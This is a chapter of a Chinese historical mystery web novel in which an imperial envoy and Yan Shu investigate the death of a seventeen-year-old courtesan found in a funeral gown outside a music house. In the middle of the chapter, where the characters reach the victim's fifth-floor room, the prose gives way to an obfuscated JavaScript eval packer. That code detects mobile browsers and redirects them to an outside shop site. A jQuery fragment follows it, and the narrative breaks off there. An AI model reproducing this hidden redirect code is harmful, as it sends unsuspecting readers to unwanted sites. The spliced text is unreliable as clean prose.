9.芙蓉异事 9
    琴楼门口早就被封了起来,颜书二人到时,琴楼大厅的哄闹声渐渐的歇了下来。

    有个大腹便便,粗眉厚唇的缎衣男子忍不住嚷道:“你们到底是什么人啊?啊?没身着官服差服,也敢擅自限制我们的自由,把我们关在这一个多时辰,简直胆大包天!”

    颜书抱剑站在望追身侧,闻言扫了眼开口的男子。

    头戴长脚罗幞头,一身锦衣华服,腰佩香囊,很讲究的打扮,看见颜书打量的眼神,还颇为高傲的仰了仰下巴。

    嘁,神气什么?颜书翻了个白眼,扫向其余人。

    琴楼楚馆。最不缺的就是环肥燕瘦的美人和寻乐子的达官贵人。

    不过今夜是太守甲兰大寿,芙蓉城有头有脸的人都去了太守府,身下的都是寻常眷客。

    “官家办事,容得了你置喙!”望追身后的护卫王岚严斥,“钦差办案,简装易服,你也要看看官令吗?”

    说话的间隙,望追手中举起块钦差玄铁令,书“钦差令”三字,边框錾刻庄重回字纹,游龙傲然缠于其上。一块小小的令牌,足以震慑在场所有人,瞬间从怨声载道转向鸦雀无声。

    望追扫了眼出头埋怨的胖商人,勾唇冷冷一笑,咬字重音:“一个、一个的到三楼候审,我看,你先吧。”

    说完,他令牌一收,带着王岚王枫两兄弟穿过人道,径直往楼上走去,玄黑劲装、高壮挺拔,一个个颇像那么回事。

    “诶,我也来。”颜书握着剑,小跑跟上。

    琴楼一共五层,回廊卧空,雕楼相连,两座楼相对而立,窗对外,廊对内。

    因此在两座楼的回廊上,能瞧见挤哄哄的大厅,回廊往里走还能看得到琴楼后院的湖泊小亭,装修雅致讲究。

    “筱筱喜静,接客的屋子都是在最里面的。”刘妈妈擦了擦眼角,怅然的说。

    “接客的屋子?那就是还有个寻常住的屋子?”颜书上下打量了两栋楼,这两栋楼只有二楼点着烛灯,往上都是间或几间屋子亮着烛灯。

    “就在五楼。”刘妈妈道:“筱筱就是个喜静的性子,特意跟我要了五楼的屋子,按理说五楼都是留给东家的,但筱筱是头牌,格外厚待些,东家就应允了。”

    颜书倒是听过,这些秦楼楚馆都是有东家主儿的,这面前的刘妈妈,顶多是个管家下属。

    刘妈妈还在继续哭诉:“筱筱这孩子才十七,多好的年纪,跟个花骨朵似的......平日又体谅琴楼生意艰难,主动跳舞招客,凡事被她服侍的客人,就没有不满意的,这这这、这怎么就说没就没了呢......”

    “刘妈妈,你们东家是谁?”

    “呃......这”

    走在最前面的望追脚步一顿,冷眼扫向吞吞吐吐的刘妈妈,抬手吩咐身后的王岚王枫二兄弟:

    “跟着这位刘妈妈去五楼看看筱筱的房间,先守着不要让任何人靠近。”

    “是!”

    “曲颜书,跟上。”刘妈妈和王岚王枫二弟去了五楼,望追敛了神色,带着颜书进了这位‘筱筱’姑娘二楼接客的雅间。

    雅间门口挂着“筱筱”二字的雕花木牌,颜书留意的多看了两眼。

    屋中铺了大片的氍毹,朱砂色为底,绘着玉壶春瓶插石榴花的纹样,氍毹软垫吸声,望追和颜书走在软垫上,脚步声全无。

    望追来到窗边,敲了敲结实的窗柩,“门窗毫无损坏,就连桌椅摆件都很齐整,屋中没发生打斗。”

    没有发生打斗,颜书盯着窗边的脚印也陷入了沉思,这是筱筱的鞋印,没有反抗,难不成她还能自己穿着芙蓉冥衣,翻窗跳楼不成?

    二人在屋中仔细搜寻了片刻,依旧没见什么异常,实在是过于怪异,甚是怪异。

    窗外的小巷响起侍卫的声音,应该是叶孟赶到了。

    他临窗翻了下去,小巷被辑定司的人围得水泄不通,没有叶孟再来仔细验尸,谁也不敢擅动尸身。

    颜书跨步跟着爬上了窗柩,小巷里乌泱泱的,只有一身芙蓉冥衣的少女躺着的方寸之地摆了几丛火把,照得亮堂。

    亮到颜书在楼上看去,也能看得见那娇美死寂的脸庞,还有云鬓乌发底下漫着大汪黑红血迹。

    青砖古旧,那血迹蜿蜒如她鬓边的微凋的鲜芙蓉,渗入砖缝,如同什么滋养血土的古怪仪式。

    这是第一百二十八起了,应该说,这是出现的第一百二十八具少女尸身......

    颜书眸中流入凉寒,正要跟着跳下去之时,鼻尖突然飘过一丝熟悉的香气!

    “这芙蓉冥衣都是统一材质,或许还是出自同一裁缝。”叶孟蹲在筱筱身侧,“你我都不懂针线活,不如让王岚去寻城里的针线师傅去县衙里看看这几件冥衣。”

    说话的间隙,颜书倏然从二楼翻窗跃下,稳稳落在了望追身侧。

    “发现什么了?”望追看向她手里捏着的木牌。

    “望大人,你闻闻,可熟悉?”颜书将木牌递到望追的面前,这木牌背后还有一块米粒大小的血迹,呈喷溅状。

    “很熟悉。”望追颦眉,想仔细回忆是在哪闻见这香气,却一时半会儿没有想起。

    颜书直接开口:“像不像我住在芙蓉酒楼那间上房的气味?”

    “!”一语惊醒梦中人,望追瞬间想起进入颜书屋中,那扑鼻熏人的气味,只是这气味幽淡,不会引起人的不适。

    “走,去五楼。”

    五楼筱筱的门口,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716104|144019||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刘妈妈坐在一侧抹着眼泪,王岚王枫二人如同站桩一般守在门口。

    “怎么样?”

    “回大人,属下二人并未发现什么异样,只是方才看查房间时,刘妈妈说筱筱姑娘留着体己的私房钱被人拿走

    了。”

    察觉到这一男一女看向自己,刘妈妈嚎啕道:“真是杀千刀的!我家筱筱这些年就攒了这么点赎身钱,那个生娃没屁.眼的,全给偷走了!这、这、这叫我怎么给筱筱交代........呜呜造化弄人、造化弄人”

    刘妈妈声音嘶哑,涕泗横流,瞧着悲切至极。

    颜书顾不上搭话,立即推门进了屋中,瞬间闻见了那浅淡的香气,比雕花木牌上的浓一些。

    “刘妈妈,寻常和筱筱姑娘交好的有哪些姑娘?”

    “这.......筱筱独来独往,没有一个交好的。”刘妈妈擦了擦脸上的鼻涕眼泪,“倒是有丫鬟是贴身伺候的,我这就去让人去找,马上让人去找。”

    “等等。”颜书出言拦住刘妈妈,她将剑搁在四方桌上,抬手拿起香炉,“这香......刘妈妈可知道是从哪家香行买的?”

    “这香?”刘妈妈上前两步,仔细嗅了嗅,“诶,这香我们也不知道,筱筱一直用着,说是她自己的弟弟是做香料生意的,隔三差五就会给她送一些,我闻着好闻,恩客也喜欢,就随她了。”

    颜书站在灯光底下,紧挨着刘妈妈,这时倒是真看清这刘妈妈的样貌,年纪半老,打扮清凉,也许是琴楼的妈妈,脂粉也涂得很厚,甚至就连脖颈也似粉墙一般,拓了很多白粉上去。

    “!”顿时,那脖颈被一只涂了蔻丹微皱的手挡住。

    刘妈妈抬手不经意的捂住脖颈,干笑道:“说起这筱筱的弟弟啊,我到真是觉得此人当真是个没良心的。”

    刘妈妈有意移开话题,颜书顺着问:“弟弟?今夜在吗?”

    “哎呀,在什么在!当初筱筱和这家人走散,我好心收留了她,筱筱十四的时候就跟这弟弟相认了,我看他家香料生意不错,也不差钱,就想着让她弟弟做主,把人赎回去吧,那也好过在这琴楼不清不白的蹉跎一生。”

    “你说说!”讲到义愤填膺之处,刘妈妈激动的拍了拍桌子:“这弟弟真不是个东西啊,硬生生让筱筱过了及笄□□夜,在这琴楼接客。偏偏筱筱是个糊涂又傻帽的,这两年攒的体己钱财,全给了弟弟去做生意,真是!真是!”

    刘妈妈死死攥着绢帕,双眼通红,望追淡淡开口:“刘妈妈,你见过她弟弟?”

    “不!”刘妈妈脊背一僵,神色僵硬的否定:

    “没有、自然没有。这白眼狼看着自己的姐姐被送去接客都不曾露面,我如何能见到?”